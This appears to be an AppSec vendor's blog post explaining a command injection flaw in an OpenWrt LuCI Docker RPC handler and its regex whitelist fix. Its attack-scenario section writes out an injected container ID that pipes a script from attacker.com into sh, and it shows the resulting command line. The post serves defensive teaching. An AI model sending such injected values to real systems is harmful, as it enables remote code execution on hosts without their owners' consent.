Back to Blog
critical SEVERITY4 min read

docker_rpc.uc Command Injection: Unsanitized RPC Parameters

A critical command injection vulnerability in the Docker RPC handler allowed authenticated attackers to execute arbitrary system commands by injecting shell metacharacters into container ID, port, user ID, or command parameters. The fix validates all user-supplied inputs against strict whitelist patterns before interpolating them into shell commands.

O
By Orbis AppSec
•Technically reviewed by Anupam Mediratta•Published September 21, 2026•Reviewed September 21, 2026

Answer Summary

The Docker RPC handler (`run_ttyd` function) in the OpenWrt LuCI Docker management interface accepts four user-controlled parameters (container ID, port, user ID, and command) that are directly interpolated into shell command strings using template literals without any validation. An authenticated attacker can inject shell metacharacters and command sequences through any of these parameters to execute arbitrary commands with the privileges of the RPC daemon. The fix adds strict whitelist validation for each parameter—alphanumerics and limited safe characters for IDs, numeric range checks for port numbers—before shell interpolation. CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Vulnerability at a Glance

cweCWE-78
fixWhitelist-based regex validation of all parameters before shell interpolation
riskAuthenticated RPC caller executes arbitrary OS commands as daemon user
languageUcode
root causeUser-supplied RPC parameters interpolated into shell commands without validation
vulnerabilityCommand Injection via Unsanitized Template Literals

The Vulnerability Explained

The Docker RPC handler in OpenWrt's LuCI Docker management interface provides a run_ttyd function that spawns a terminal session inside a container. This function accepts four user-supplied parameters via RPC:

  • id (container identifier)
  • port (ttyd listening port)
  • uid (optional user ID to run as)
  • cmd (command to execute inside the container)

The original code constructed a shell command using template literal interpolation:

let ttyd_cmd = `ttyd -q -d 2 --once --writable -p ${port} docker`;

Each parameter was directly embedded into the string without any validation or sanitization. An authenticated attacker could inject arbitrary shell metacharacters and command sequences through any parameter.

Attack scenario: An attacker with RPC access sends a malicious request:

id: "container123; curl http://attacker.com/shell.sh | sh #"
port: "8080"
cmd: "/bin/sh"

The resulting command becomes:

ttyd -q -d 2 --once --writable -p 8080 docker container123; curl http://attacker.com/shell.sh | sh #

The shell interprets the injected semicolon as a command separator, executing the attacker's curl payload on the host system with the daemon's privileges. Attackers could exfiltrate data, modify container configurations, or pivot to other systems on the network.

Affected Versions

Affected unknown
Fixed in unknown
Ecosystem N/A
CVE / GHSA not assigned
CWE CWE-78 (Improper Neutralization of Special Elements used in an OS Command)

The Fix

The fix adds strict whitelist-based validation for all four parameters before they are interpolated into shell commands:

// Strictly validate all user-supplied values before they are interpolated
// into a shell command string to prevent command injection.
if (!match(id, /^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/) ||
    !match(`${port}`, /^[0-9]{1,5}$/) || int(port) < 1 || int(port) > 65535 ||
    (uid && !match(`${uid}`, /^[a-zA-Z0-9_-]+$/)) ||
    !match(cmd, /^[a-zA-Z0-9_\/.\- ]+$/)) {
    return { error: 'Invalid parameter supplied' };
}

Why each validation matters:

  • id pattern (/^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/): Restricts container IDs to alphanumerics, underscores, dots, and hyphens. Rejects shell metacharacters like ;, |, &, backticks, $(), and quotes.

  • port pattern (/^[0-9]{1,5}$/): Ensures the port is numeric with 1–5 digits, preventing injection through the port parameter. The additional range check (int(port) < 1 || int(port) > 65535) confirms the value is a valid TCP port.

  • uid pattern (/^[a-zA-Z0-9_-]+$/): If provided, validates the user ID against safe characters. Blocks injection attempts in the optional UID parameter.

  • cmd pattern (/^[a-zA-Z0-9_\/.\- ]+$/): Allows the command string to contain alphanumerics, forward slashes (for binary paths like /bin/sh), dots (for file extensions), hyphens (for command-line flags), spaces (for separating arguments), and underscores. All dangerous shell metacharacters are rejected.

If any parameter fails validation, the function returns an error instead of proceeding to shell interpolation. This prevents the malicious payload from ever reaching the shell.

How Orbis AppSec Detected This

Source: The four RPC request parameters (id, port, uid, cmd) received by the run_ttyd function from untrusted authenticated callers.

Sink: The system() call that executes the constructed shell command string.

Missing control: No validation, regex filtering, or sanitization of the four parameters before they were interpolated into the shell command string using template literals.

CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Fix: Added whitelist-based regex validation for all four parameters, rejecting any input containing characters outside a safe set before shell interpolation.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Key Takeaways

  • Never interpolate user-supplied input into shell command strings via template literals or string concatenation. This applies even to authenticated users. Always validate against a strict whitelist of safe characters before shell interpolation.

  • Whitelist validation must come before shell use. The regex patterns here reject all shell metacharacters—;, |, &, backticks, $(), >, <, and quotes—in a single check. This is far safer than blacklisting dangerous characters.

  • RPC handlers are OS command entry points. Any RPC function that constructs and executes system commands should be treated as a high-risk boundary. Treat all RPC parameters as untrusted, regardless of authentication status.

  • Port and numeric parameters need range checks. The fix validates both the format (/^[0-9]{1,5}$/) and the numeric range (1–65535) for the port parameter. A numeric regex alone is insufficient; ensure the value falls within the expected domain.

  • Optional parameters still require validation. The uid parameter is optional (guarded by uid &&), but when present, it is validated just as strictly. Omitting validation for optional fields is a common gap.

Conclusion

This vulnerability demonstrates how seemingly simple RPC functions that construct shell commands can become high-impact entry points if user input is not rigorously validated. Template literals in Ucode (and similar string interpolation in other languages) make the vulnerability easy to introduce but equally easy to fix with upfront whitelist validation. The key insight from this fix is that all parameters that touch shell commands must be validated against a whitelist of safe characters before use, regardless of their source or the authentication status of the caller. Developers building RPC or request handlers that call system commands should adopt the same pattern: validate early, validate strictly, and reject any input that does not match your whitelist.

Prevention and further reading

Frequently Asked Questions

What makes the `run_ttyd` function exploitable even though it requires authentication?

Authenticated users (e.g., administrators with RPC access, or compromised admin accounts) can craft malicious RPC calls. The vulnerability also applies if an attacker gains RPC access through credential compromise, CSRF, or a compromised LuCI session. The fix applies regardless of the attacker's authentication status.

Why does the fix reject the `cmd` parameter with `/^[a-zA-Z0-9_\/.\- ]+$/` instead of allowing all characters?

The whitelist permits only safe characters: alphanumerics, forward slashes (for binary paths), dots (for file extensions), hyphens (for command flags), spaces (for argument separation), and underscores. This prevents shell metacharacters like `;`, `|`, `&`, `` ` ``, `$()`, `>`, `<`, and quotes that enable command chaining and injection.

Does the fix require changes to how the `ttyd_cmd` string is constructed, or is validation alone sufficient?

Validation alone is sufficient; the fix does not change how the command string is built. Once all parameters pass the whitelist checks, they are safe to interpolate into the template literal because they cannot contain shell metacharacters or escape sequences.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #8

Related Articles

critical

webapp-testing Server Script: Shell Injection via Unquoted Command

A critical command injection vulnerability in a web server testing utility allowed attackers to execute arbitrary shell commands by injecting metacharacters into command-line arguments. The fix removes shell interpretation and safely tokenizes user-supplied commands using `shlex.split()`, while preserving support for legitimate directory-change workflows.

high

THiNX Device Platform: Command Injection via source.owner in Git Fetch

The THiNX device management platform fixed a critical vulnerability where the `source.owner` parameter flowed directly into shell commands during git repository operations. An attacker with source configuration access could inject arbitrary shell commands by providing malicious owner values containing metacharacters like `; curl`.

critical

backtest.js CLI args: Unvalidated --days and --start Options

The backtest.js command-line tool accepted --days and --start arguments without validation, creating a command injection vector when the script is invoked by upstream processes with untrusted input. The fix adds strict input validation: --days must be a positive integer ≤ 3650, and --start must match the YYYY-MM-DD date format.

critical

Tauri type_text() Command Injection via Control Characters in

The type_text() system command handler in Tauri accepted arbitrary text up to 2000 UTF-16 characters without validating content, allowing injection of control characters that SendInput's Unicode path interprets as real key presses. An attacker could inject newline, escape, or tab characters to trigger actions in the focused window beyond mere text typing.

high

runStreaming() Command Injection: Defense-in-Depth for Electron Child

An Electron application's `runStreaming()` utility accepted a command string and argument array without validating either, creating a latent command injection vector. The fix adds strict type checking and a whitelist regex that rejects shell metacharacters, bounding the failure mode even if caller input becomes attacker-influenced.

critical

JdbcSinkFunction.invoke() SQL Injection via Unvalidated Identifiers

The `JdbcSinkFunction.invoke()` method in Lacus's RTC engine built SQL INSERT statements with `String.format()`, placing database name, table name, and column names directly into the query string without validation. Although the actual row values used parameterized `?` placeholders, the identifiers themselves were injectable, letting a crafted sink configuration break out of the intended INSERT statement. The fix adds a strict allowlist regex that rejects any identifier containing characters out